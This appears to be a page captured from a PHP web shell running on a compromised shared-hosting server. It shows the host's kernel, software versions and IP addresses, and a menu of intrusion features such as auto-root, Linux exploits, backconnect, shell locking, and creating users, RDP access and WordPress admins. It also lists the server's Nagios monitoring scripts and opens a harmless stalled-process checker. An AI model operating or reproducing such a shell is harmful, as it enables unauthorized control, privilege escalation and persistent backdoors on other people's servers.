Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.148.107.34
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib64 /
nagios /
plugins /
nccustom /
[ HOME SHELL ]
Name
Size
Permission
Action
authorized_users.list
143
B
-rw-r-----
check-autobackup.sh
6.68
KB
-rwxr-xr-x
check-cagefs-status.sh
2.04
KB
-rwxr-xr-x
check-cpanel-update.sh
1.85
KB
-rwxr-xr-x
check-litespeed-version.sh
2.87
KB
-rwxr-xr-x
check-lscache-version.sh
3.84
KB
-rwxr-xr-x
check-mail-filter-avlb.sh
2.18
KB
-rwxr-xr-x
check-outmailip-rbl.py
3.99
KB
-rwxr-xr-x
check-rpmdb-integrity.sh
1.63
KB
-rwxr-xr-x
check-unexpected-systemd-servi...
8.07
KB
-rwxr-xr-x
check_backup.sh
6.35
KB
-rwxr-xr-x
check_cl_license
950
B
-rwxr-xr-x
check_cplicense.sh
268
B
-rwxr-xr-x
check_cpshell
949
B
-rwxr-xr-x
check_csf
3.72
KB
-rwxr-xr-x
check_cwaf.sh
2.44
KB
-rwxr-xr-x
check_execve_filter.list
370
B
-rw-r-----
check_execve_privileges.sh
2.51
KB
-rwxr-x---
check_eximq.sh
3.16
KB
-rwxr-xr-x
check_extra_accts.py
4.18
KB
-rwxr-xr-x
check_http_full_stack.conf
144
B
-rw-r--r--
check_http_full_stack.py
4.3
KB
-rwxr-xr-x
check_if_ips.py
4.15
KB
-rwxr-xr-x
check_if_ips_tcp.py
4.71
KB
-rwxr-xr-x
check_ip_update_log.sh
540
B
-rwxr-xr-x
check_ip_usage.py
6.67
KB
-rwxr-xr-x
check_kernelcare.sh
2.13
KB
-rwxr-xr-x
check_lfd_logs.conf
471
B
-rw-r--r--
check_logfiles.conf
595
B
-rw-r--r--
check_logfiles.pl
206.82
KB
-rwxr-xr-x
check_logfiles_innodbcounter.c...
1002
B
-rw-r--r--
check_mailip.py
3.83
KB
-rwxr-xr-x
check_mem.pl
12.85
KB
-rwxr-xr-x
check_mysqld_msize.sh
666
B
-rwxr-xr-x
check_nc_cp_backup_process.sh
8.75
KB
-rwxr-xr-x
check_ncsslplugin.py
1.89
KB
-rwxr-xr-x
check_ntp_client
11.78
KB
-rwxr-xr-x
check_openport.sh
7.59
KB
-rwxr-xr-x
check_pem_worker.pl
929
B
-rwxr-xr-x
check_pgactivity
294.21
KB
-rwxr-xr-x
check_plans.py
7.59
KB
-rwxr-xr-x
check_puppet
16.14
KB
-rwxr-xr-x
check_quota_on.sh
902
B
-rwxr-xr-x
check_ro_fs.py
3.43
KB
-rwxr-xr-x
check_service.sh
9.34
KB
-rwxr-xr-x
check_software_updates
31.68
KB
-rwxr-xr-x
check_spamd
6.7
KB
-rwxr-xr-x
check_stalled_procs.py
4.42
KB
-rwxr-xr-x
check_suid_status.sh
295
B
-rwxr-xr-x
check_suspicious_files_status....
1.42
KB
-rwxr-xr-x
check_unauthorized_user.sh
17.16
KB
-rwxr-xr-x
replcheck_param.pl
5.48
KB
-rwxr-xr-x
systemd_scopes_whitelist
10
B
-rw-r--r--
systemd_services_folders
70
B
-rw-r--r--
systemd_services_whitelist
6.67
KB
-rw-r-----
systemd_targets_whitelist
12
B
-rw-r--r--
test.eml
3.26
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check_stalled_procs.py
#!/usr/libexec/platform-python # -*- coding: utf-8 -*- import argparse import os import psutil import time import json # Set default values for thresholds and monitoring time WARNNUM = 10 CRITNUM = 20 MONTIME = 15 LOG_FILE = '/var/log/check_stalled_procs.json' def parse_arguments(): """ Parse command-line arguments for warning and critical thresholds, and monitoring time. """ parser = argparse.ArgumentParser() parser.add_argument('-w', type=int, default=WARNNUM, help='Warning threshold for process count') parser.add_argument('-c', type=int, default=CRITNUM, help='Critical threshold for process count') parser.add_argument('-t', type=int, default=MONTIME, help='Monitoring time in minutes') return parser.parse_args() def get_process_info(state): """ Retrieve information about processes in a given state. """ try: # Collect processes matching the given state processes = [p for p in psutil.process_iter(['pid', 'status', 'cmdline', 'username', 'name']) if p.info['status'] == state] # Create a description for each process descriptions = [{ 'pid': p.info['pid'], 'user': p.info.get('username', 'unknown'), 'cmd': p.info['cmdline'][:3] if p.info['cmdline'] else p.info.get('name', 'unknown') } for p in processes] return len(processes), descriptions except Exception as e: print(f"Error retrieving process information: {e}") return 0, [] def read_last_log(): """ Read the last entry from the log file. Return None if the file does not exist or has 0 size """ if os.path.exists(LOG_FILE) and os.path.getsize(LOG_FILE) > 0: with open(LOG_FILE, 'r') as log: lines = log.readlines() if lines: return json.loads(lines[-1].strip()) return None def write_log(current_time, d_count, z_count, status, d_desc, z_desc): """ Write a log entry to the log file. """ log_entry = { 'time': current_time, 'd_count': d_count, 'z_count': z_count, 'status': status, 'd_desc': d_desc, 'z_desc': z_desc } with open(LOG_FILE, 'a') as log: log.write(json.dumps(log_entry) + '\n') def main(): """ Main function to monitor stalled processes and report their status. """ args = parse_arguments() current_time = int(time.time()) # Get the count and description of processes in disk sleep (D) state and zombie (Z) state d_count, d_desc = get_process_info(psutil.STATUS_DISK_SLEEP) z_count, z_desc = get_process_info(psutil.STATUS_ZOMBIE) # Read the last log entry last_log = read_last_log() if last_log: last_time = int(last_log['time']) last_d_count = int(last_log['d_count']) last_z_count = int(last_log['z_count']) last_status = last_log['status'] else: # Initialize variables if no last log entry exists last_time, last_d_count, last_z_count, last_status = current_time, d_count, z_count, "OK" write_log(last_time, last_d_count, last_z_count, last_status, d_desc, z_desc) time_diff = current_time - last_time status = last_status # Check if the monitoring time has elapsed if time_diff >= args.t * 60: # Use the maximum count between current and last counts to determine status td_count = max(d_count, last_d_count) tz_count = max(z_count, last_z_count) if td_count >= args.c or tz_count >= args.c: status = "CRITICAL" elif td_count >= args.w or tz_count >= args.w: status = "WARNING" else: status = "OK" write_log(current_time, d_count, z_count, status, d_desc, z_desc) elif last_status != "OK" and d_count < args.w and z_count < args.w: # Reset status to OK if counts drop below warning thresholds and previous status was not OK status = "OK" write_log(current_time, d_count, z_count, status, d_desc, z_desc) # Output the status, counts and perfdata output = f"{status} - Processes in D state: {d_count}, Z state: {z_count} | D={d_count};{args.w};{args.c}; Z={z_count};{args.w};{args.c};" print(output) # Exit with the appropriate code if status == "OK": exit(0) elif status == "WARNING": exit(1) elif status == "CRITICAL": exit(2) else: exit(3) if __name__ == "__main__": main()
Close